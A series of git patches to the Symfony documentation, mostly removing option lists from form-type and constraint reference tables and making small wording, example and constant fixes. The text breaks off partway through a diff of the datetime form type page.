Date: Sat, 30 Oct 2021 12:44:46 +0200
Subject: [PATCH 2654/7107] Remove options in new constraints too

---
 reference/constraints/CssColor.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index 8f62ed3e531..dc216c7422c 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -10,10 +10,6 @@ casted to a string before being validated.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `formats`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\CssColor`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CssColorValidator`
 ==========  ===================================================================

From bf1e1c73e32a90b62bb2a81e2be33d494d554bf5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 30 Oct 2021 13:03:26 +0200
Subject: [PATCH 2655/7107] Minor tweaks

---
 security/voters.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index d8457e066cd..87b5249e996 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -65,10 +65,10 @@ which makes creating a voter even easier::
 .. tip::
 
     Checking each voter several times can be time consumming for applications
-    that perform a lot of permission checks. However, when a voter implements
-    the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`,
-    the access decision manager, will remember the attribute and type of subject
-    supported by the voter, and will, next, only call the involved voters.
+    that perform a lot of permission checks. To improve performance in those cases,
+    you can make your voters implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`.
+    This allows the access decision manager to remember the attribute and type
+    of subject supported by the voter, to only call the needed voters each time.
 
     .. versionadded:: 5.4
 

From a92b139b65ab235b19fb01d2c7e6526444e07ef9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 30 Oct 2021 13:03:56 +0200
Subject: [PATCH 2656/7107] Remove the versionadded directive

---
 security/voters.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 26e2c332234..71ccb8b2f7c 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -70,10 +70,6 @@ which makes creating a voter even easier::
     This allows the access decision manager to remember the attribute and type
     of subject supported by the voter, to only call the needed voters each time.
 
-    .. versionadded:: 5.4
-
-        The ``CacheableVoterInterface`` interface was introduced in Symfony 5.4.
-
 Setup: Checking for Access in a Controller
 ------------------------------------------
 

From 5d7687f208bc339aae3b943a6c2bd92babc0ee78 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Wojciech=20B=C5=82oszyk?= <wbloszyk@gmail.com>
Date: Sat, 30 Oct 2021 12:48:10 +0200
Subject: [PATCH 2657/7107] Parameter as connection value in doctrine tags

---
 doctrine/events.rst | 22 ++++++++++++++++------
 1 file changed, 16 insertions(+), 6 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 3a964dc5ea3..282b91e47ad 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -171,7 +171,8 @@ with the ``doctrine.event_listener`` tag:
                         priority: 500
 
                         # you can also restrict listeners to a specific Doctrine connection
-                        connection: 'default'
+                        # '%doctrine_default_connection%' = 'default'
+                        connection: '%doctrine_default_connection%'
 
     .. code-block:: xml
 
@@ -187,12 +188,13 @@ with the ``doctrine.event_listener`` tag:
                     * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
+                    *               '%doctrine_default_connection%' = 'default'
                 -->
                 <service id="App\EventListener\SearchIndexer">
                     <tag name="doctrine.event_listener"
                         event="postPersist"
                         priority="500"
-                        connection="default"/>
+                        connection="%doctrine_default_connection%"/>
                 </service>
             </services>
         </container>
@@ -218,7 +220,8 @@ with the ``doctrine.event_listener`` tag:
                     'priority' => 500,
 
                     # you can also restrict listeners to a specific Doctrine connection
-                    'connection' => 'default',
+                    # '%doctrine_default_connection%' = 'default'
+                    'connection' => '%doctrine_default_connection%',
                 ])
             ;
         };
@@ -439,7 +442,8 @@ Doctrine connection to use) you must do that in the manual service configuration
                       priority: 500
 
                       # you can also restrict listeners to a specific Doctrine connection
-                      connection: 'default'
+                      # '%doctrine_default_connection%' = 'default'
+                      connection: '%doctrine_default_connection%'
 
     .. code-block:: xml
 
@@ -454,9 +458,10 @@ Doctrine connection to use) you must do that in the manual service configuration
                     * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
+                    *               '%doctrine_default_connection%' = 'default'
                 -->
                 <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
+                    <tag name="doctrine.event_subscriber" priority="500" connection="%doctrine_default_connection%"/>
                 </service>
             </services>
         </container>
@@ -478,7 +483,8 @@ Doctrine connection to use) you must do that in the manual service configuration
                     'priority' => 500,
 
                     // you can also restrict listeners to a specific Doctrine connection
-                    'connection' => 'default',
+                    # '%doctrine_default_connection%' = 'default'
+                    'connection' => '%doctrine_default_connection%',
                 ])
             ;
         };
@@ -487,6 +493,10 @@ Doctrine connection to use) you must do that in the manual service configuration
 
     Subscriber priority was introduced in Symfony 5.3.
 
+.. versionadded:: 5.4
+
+    Parameter as connection value was introduced in Symfony 5.4.
+
 .. tip::
 
     Symfony loads (and instantiates) Doctrine subscribers whenever the

From 233beab84c781ea1a167832e03b3e7ccb888f881 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 30 Oct 2021 15:56:47 +0200
Subject: [PATCH 2658/7107] Minor tweak

---
 console/style.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/console/style.rst b/console/style.rst
index 5dc5f24fca8..33f1ff59cc5 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -167,7 +167,8 @@ Content Methods
 
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createTable`
     Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\Table`
-    styled according to the Symfony Style Guide.
+    styled according to the Symfony Style Guide, which allows you to use
+    features such as appending rows dynamically.
 
 .. versionadded:: 5.4
 

From 0ae2afaa9862ca5f60bc0e8e35ebb91fad02afa1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 30 Oct 2021 15:58:47 +0200
Subject: [PATCH 2659/7107] Remove the versionadded directives

---
 console/style.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/console/style.rst b/console/style.rst
index 34f32ac8ecc..b175a4f4cc7 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -170,10 +170,6 @@ Content Methods
     styled according to the Symfony Style Guide, which allows you to use
     features such as appending rows dynamically.
 
-.. versionadded:: 5.4
-
-    The ``createTable()`` method was introduced in Symfony 5.4.
-
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::newLine`
     It displays a blank line in the command output. Although it may seem useful,
     most of the times you won't need it at all. The reason is that every helper
@@ -262,10 +258,6 @@ Progress Bar Methods
             // ... do some work
         }
 
-.. versionadded:: 5.4
-
-    The ``progressIterate`` method was introduced in Symfony 5.4.
-
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createProgressBar`
     Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\ProgressBar`
     styled according to the Symfony Style Guide.

From c5420cf9826f7190fe0d639cb1ef4f5cf4de3345 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lo=C3=AFck=20Piera?= <pyrech@gmail.com>
Date: Sun, 31 Oct 2021 22:35:50 +0100
Subject: [PATCH 2660/7107] Fix Response HTTP constant

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 8d55515b692..86d4e9a6fa0 100644
--- a/security.rst
+++ b/security.rst
@@ -1073,7 +1073,7 @@ token (or whatever you need to return) and return the JSON response:
     +         if (null === $user) {
     +             return $this->json([
     +                 'message' => 'missing credentials',
-    +             ], Response::HTTP_UNAUTHENTICATED);
+    +             ], Response::HTTP_UNAUTHORIZED);
     +         }
     +
     +         $token = ...; // somehow create an API token for $user

From ea6a3e2d546fcbc31063f81b64a9b60ef8925c6d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marek=20Barto=C5=A1?= <bartos.developer152@gmail.com>
Date: Sun, 31 Oct 2021 22:42:06 +0100
Subject: [PATCH 2661/7107] Fix example url

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 8efbd4b3a41..295fe360f6d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1646,7 +1646,7 @@ the response, replace the current request by another one or change the chunk
 passthru itself.
 
 Checking the test cases implemented in
-:class:`Symfony\\Component\\HttpClient\\Response\\Tests\\AsyncDecoratorTraitTest`
+:class:`Symfony\\Component\\HttpClient\\Tests\\AsyncDecoratorTraitTest`
 might be a good start to get various working examples for a better understanding.
 Here are the use cases that it simulates:
 

From 9bc68bf57d59e9c431f1cedd6e507dd0d08acc9f Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Tue, 2 Nov 2021 08:41:24 +0100
Subject: [PATCH 2662/7107] Update framework.rst

---
 reference/configuration/framework.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 53ed8c79539..f2a0c9b6483 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -37,6 +37,11 @@ used to add more entropy to security related operations. Its value should
 be a series of characters, numbers and symbols chosen randomly and the
 recommended length is around 32 characters.
 
+.. caution::
+
+    This configuration option's value is a real secret. You should treat it
+    with a lot of care.
+
 In practice, Symfony uses this value for encrypting the cookies used
 in the :doc:`remember me functionality </security/remember_me>` and for
 creating signed URIs when using :ref:`ESI (Edge Side Includes) <edge-side-includes>`.

From a4e0dc13ecc5c5666c7657e9c998b3457daf1013 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Nov 2021 11:27:21 +0100
Subject: [PATCH 2663/7107] [Form] Remove repeated options in Form types

---
 reference/forms/types/birthday.rst     | 29 -----------------
 reference/forms/types/button.rst       |  8 -----
 reference/forms/types/checkbox.rst     | 21 -------------
 reference/forms/types/choice.rst       | 38 -----------------------
 reference/forms/types/collection.rst   | 24 --------------
 reference/forms/types/color.rst        | 17 ----------
 reference/forms/types/country.rst      | 32 -------------------
 reference/forms/types/currency.rst     | 30 ------------------
 reference/forms/types/date.rst         | 31 -------------------
 reference/forms/types/dateinterval.rst | 32 -------------------
 reference/forms/types/datetime.rst     | 40 ------------------------
 reference/forms/types/email.rst        | 17 ----------
 reference/forms/types/entity.rst       | 43 --------------------------
 reference/forms/types/file.rst         | 20 ------------
 reference/forms/types/form.rst         | 39 -----------------------
 reference/forms/types/hidden.rst       | 12 -------
 reference/forms/types/integer.rst      | 24 --------------
 reference/forms/types/language.rst     | 32 -------------------
 reference/forms/types/locale.rst       | 31 -------------------
 reference/forms/types/money.rst        | 27 ----------------
 reference/forms/types/number.rst       | 27 ----------------
 reference/forms/types/password.rst     | 20 ------------
 reference/forms/types/percent.rst      | 25 ---------------
 reference/forms/types/radio.rst        | 22 -------------
 reference/forms/types/range.rst        | 16 ----------
 reference/forms/types/repeated.rst     | 21 -------------
 reference/forms/types/reset.rst        |  8 -----
 reference/forms/types/search.rst       | 16 ----------
 reference/forms/types/submit.rst       | 12 -------
 reference/forms/types/tel.rst          | 17 ----------
 reference/forms/types/text.rst         | 20 ------------
 reference/forms/types/textarea.rst     | 17 ----------
 reference/forms/types/time.rst         | 33 --------------------
 reference/forms/types/timezone.rst     | 33 --------------------
 reference/forms/types/url.rst          | 19 ------------
 reference/forms/types/week.rst         | 24 --------------
 36 files changed, 877 deletions(-)

diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 060cc0e8b40..c13932baad4 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -20,35 +20,6 @@ option defaults to 120 years ago to the current year.
 +----------------------+-------------------------------------------------------------------------------+
 | Rendered as          | can be three select boxes or 1 or 3 text boxes, based on the `widget`_ option |
 +----------------------+-------------------------------------------------------------------------------+
-| Overridden options   | - `years`_                                                                    |
-+----------------------+-------------------------------------------------------------------------------+
-| Inherited options    | from the :doc:`DateType </reference/forms/types/date>`:                       |
-|                      |                                                                               |
-|                      | - `choice_translation_domain`_                                                |
-|                      | - `days`_                                                                     |
-|                      | - `placeholder`_                                                              |
-|                      | - `format`_                                                                   |
-|                      | - `input`_                                                                    |
-|                      | - `input_format`_                                                             |
-|                      | - `model_timezone`_                                                           |
-|                      | - `months`_                                                                   |
-|                      | - `view_timezone`_                                                            |
-|                      | - `widget`_                                                                   |
-|                      |                                                                               |
-|                      | from the :doc:`FormType </reference/forms/types/form>`:                       |
-|                      |                                                                               |
-|                      | - `attr`_                                                                     |
-|                      | - `data`_                                                                     |
-|                      | - `disabled`_                                                                 |
-|                      | - `help`_                                                                     |
-|                      | - `help_attr`_                                                                |
-|                      | - `help_html`_                                                                |
-|                      | - `inherit_data`_                                                             |
-|                      | - `invalid_message`_                                                          |
-|                      | - `invalid_message_parameters`_                                               |
-|                      | - `mapped`_                                                                   |
-|                      | - `row_attr`_                                                                 |
-+----------------------+-------------------------------------------------------------------------------+
 | Parent type          | :doc:`DateType </reference/forms/types/date>`                                 |
 +----------------------+-------------------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType`        |
diff --git a/reference/forms/types/button.rst b/reference/forms/types/button.rst
index 20ae46ca6d4..c9c893955bb 100644
--- a/reference/forms/types/button.rst
+++ b/reference/forms/types/button.rst
@@ -9,14 +9,6 @@ A simple, non-responsive button.
 +----------------------+----------------------------------------------------------------------+
 | Rendered as          | ``button`` tag                                                       |
 +----------------------+----------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                            |
-| options              | - `attr_translation_parameters`_                                     |
-|                      | - `disabled`_                                                        |
-|                      | - `label`_                                                           |
-|                      | - `label_translation_parameters`_                                    |
-|                      | - `row_attr`_                                                        |
-|                      | - `translation_domain`_                                              |
-+----------------------+----------------------------------------------------------------------+
 | Parent type          | none                                                                 |
 +----------------------+----------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ButtonType` |
diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index aef03ef1e44..0cd8e579ea3 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -14,27 +14,6 @@ if you want to handle submitted values like "0" or "false").
 +-------------+------------------------------------------------------------------------+
 | Rendered as | ``input`` ``checkbox`` field                                           |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `false_values`_                                                      |
-|             | - `value`_                                                             |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                          |
-| options     | - `empty_data`_                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                          |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` |
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index a7fad757749..b32ae650a23 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -12,44 +12,6 @@ To use this field, you must specify *either* ``choices`` or ``choice_loader`` op
 +-------------+------------------------------------------------------------------------------+
 | Rendered as | can be various tags (see below)                                              |
 +-------------+------------------------------------------------------------------------------+
-| Options     | - `choices`_                                                                 |
-|             | - `choice_attr`_                                                             |
-|             | - `choice_label`_                                                            |
-|             | - `choice_loader`_                                                           |
-|             | - `choice_name`_                                                             |
-|             | - `choice_translation_domain`_                                               |
-|             | - `choice_value`_                                                            |
-|             | - `expanded`_                                                                |
-|             | - `group_by`_                                                                |
-|             | - `multiple`_                                                                |
-|             | - `placeholder`_                                                             |
-|             | - `preferred_choices`_                                                       |
-+-------------+------------------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                                |
-| options     | - `empty_data`_                                                              |
-|             | - `error_bubbling`_                                                          |
-|             | - `trim`_                                                                    |
-+-------------+------------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                                    |
-| options     | - `by_reference`_                                                            |
-|             | - `data`_                                                                    |
-|             | - `disabled`_                                                                |
-|             | - `error_mapping`_                                                           |
-|             | - `help`_                                                                    |
-|             | - `help_attr`_                                                               |
-|             | - `help_html`_                                                               |
-|             | - `inherit_data`_                                                            |
-|             | - `label`_                                                                   |
-|             | - `label_attr`_                                                              |
-|             | - `label_format`_                                                            |
-|             | - `mapped`_                                                                  |
-|             | - `required`_                                                                |
-|             | - `row_attr`_                                                                |
-|             | - `translation_domain`_                                                      |
-|             | - `label_translation_parameters`_                                            |
-|             | - `attr_translation_parameters`_                                             |
-|             | - `help_translation_parameters`_                                             |
-+-------------+------------------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                                |
 +-------------+------------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType`         |
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index f3f0c8f4562..442d42c09bd 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -14,30 +14,6 @@ photos).
 +-------------+-----------------------------------------------------------------------------+
 | Rendered as | depends on the `entry_type`_ option                                         |
 +-------------+-----------------------------------------------------------------------------+
-| Options     | - `allow_add`_                                                              |
-|             | - `allow_delete`_                                                           |
-|             | - `delete_empty`_                                                           |
-|             | - `entry_options`_                                                          |
-|             | - `entry_type`_                                                             |
-|             | - `prototype`_                                                              |
-|             | - `prototype_data`_                                                         |
-|             | - `prototype_name`_                                                         |
-+-------------+-----------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                                   |
-| options     | - `by_reference`_                                                           |
-|             | - `empty_data`_                                                             |
-|             | - `error_bubbling`_                                                         |
-|             | - `error_mapping`_                                                          |
-|             | - `help`_                                                                   |
-|             | - `help_attr`_                                                              |
-|             | - `help_html`_                                                              |
-|             | - `label`_                                                                  |
-|             | - `label_attr`_                                                             |
-|             | - `label_format`_                                                           |
-|             | - `mapped`_                                                                 |
-|             | - `required`_                                                               |
-|             | - `row_attr`_                                                               |
-+-------------+-----------------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                               |
 +-------------+-----------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType`    |
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index f6e4ec5ba58..742b7d4cb23 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -17,23 +17,6 @@ element.
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``color`` field (a text box)                              |
 +-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                       |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` |
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index f5281aacff0..744fc8553e1 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -21,38 +21,6 @@ the option manually, but then you should just use the ``ChoiceType`` directly.
 +-------------+-----------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)          |
 +-------------+-----------------------------------------------------------------------+
-| Options     | - `alpha3`_                                                           |
-|             | - `choice_translation_locale`_                                        |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                          |
-| options     | - `choice_translation_domain`_                                        |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`            |
-| options     |                                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `expanded`_                                                         |
-|             | - `multiple`_                                                         |
-|             | - `placeholder`_                                                      |
-|             | - `preferred_choices`_                                                |
-|             | - `trim`_                                                             |
-|             |                                                                       |
-|             | from the :doc:`FormType </reference/forms/types/form>`                |
-|             |                                                                       |
-|             | - `attr`_                                                             |
-|             | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                     |
 +-------------+-----------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` |
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 77da0481942..d278ad67101 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -14,36 +14,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>` type            |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` |
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 5c5a388bbaf..5ea2e05e908 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -15,37 +15,6 @@ and can understand a number of different input formats via the `input`_ option.
 +----------------------+-----------------------------------------------------------------------------+
 | Rendered as          | single text box or three select fields                                      |
 +----------------------+-----------------------------------------------------------------------------+
-| Options              | - `days`_                                                                   |
-|                      | - `placeholder`_                                                            |
-|                      | - `format`_                                                                 |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `model_timezone`_                                                         |
-|                      | - `months`_                                                                 |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `choice_translation_domain`_                                              |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `error_mapping`_                                                          |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
 | Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
 +----------------------+-----------------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType`          |
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index fefa7f054d9..7f2bde8832f 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -17,38 +17,6 @@ or an array (see `input`_).
 +----------------------+----------------------------------------------------------------------------------+
 | Rendered as          | single text box, multiple text boxes or select fields - see the `widget`_ option |
 +----------------------+----------------------------------------------------------------------------------+
-| Options              | - `days`_                                                                        |
-|                      | - `hours`_                                                                       |
-|                      | - `minutes`_                                                                     |
-|                      | - `months`_                                                                      |
-|                      | - `seconds`_                                                                     |
-|                      | - `weeks`_                                                                       |
-|                      | - `input`_                                                                       |
-|                      | - `labels`_                                                                      |
-|                      | - `placeholder`_                                                                 |
-|                      | - `widget`_                                                                      |
-|                      | - `with_days`_                                                                   |
-|                      | - `with_hours`_                                                                  |
-|                      | - `with_invert`_                                                                 |
-|                      | - `with_minutes`_                                                                |
-|                      | - `with_months`_                                                                 |
-|                      | - `with_seconds`_                                                                |
-|                      | - `with_weeks`_                                                                  |
-|                      | - `with_years`_                                                                  |
-|                      | - `years`_                                                                       |
-+----------------------+----------------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                        |
-| options              | - `data`_                                                                        |
-|                      | - `disabled`_                                                                    |
-|                      | - `help`_                                                                        |
-|                      | - `help_attr`_                                                                   |
-|                      | - `help_html`_                                                                   |
-|                      | - `inherit_data`_                                                                |
-|                      | - `invalid_message`_                                                             |
-|                      | - `invalid_message_parameters`_                                                  |
-|                      | - `mapped`_                                                                      |
-|                      | - `row_attr`_                                                                    |
-+----------------------+----------------------------------------------------------------------------------+
 | Parent type          | :doc:`FormType </reference/forms/types/form>`                                    |
 +----------------------+----------------------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType`       |
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index 4d36293894d..bb080d5c032 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -15,46 +15,6 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array.
 +----------------------+-----------------------------------------------------------------------------+
 | Rendered as          | single text box or three select fields                                      |
 +----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `date_format`_                                                            |
-|                      | - `date_label`_                                                             |
-|                      | - `date_widget`_                                                            |
-|                      | - `days`_                                                                   |
-|                      | - `placeholder`_                                                            |
-|                      | - `format`_                                                                 |
-|                      | - `hours`_                                                                  |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `minutes`_                                                                |
-|                      | - `model_timezone`_                                                         |
-|                      | - `months`_                                                                 |
-|                      | - `seconds`_                                                                |
-|                      | - `time_label`_                                                             |
-|                      | - `time_widget`_                                                            |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `with_minutes`_                                                           |
-|                      | - `with_seconds`_                                                           |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
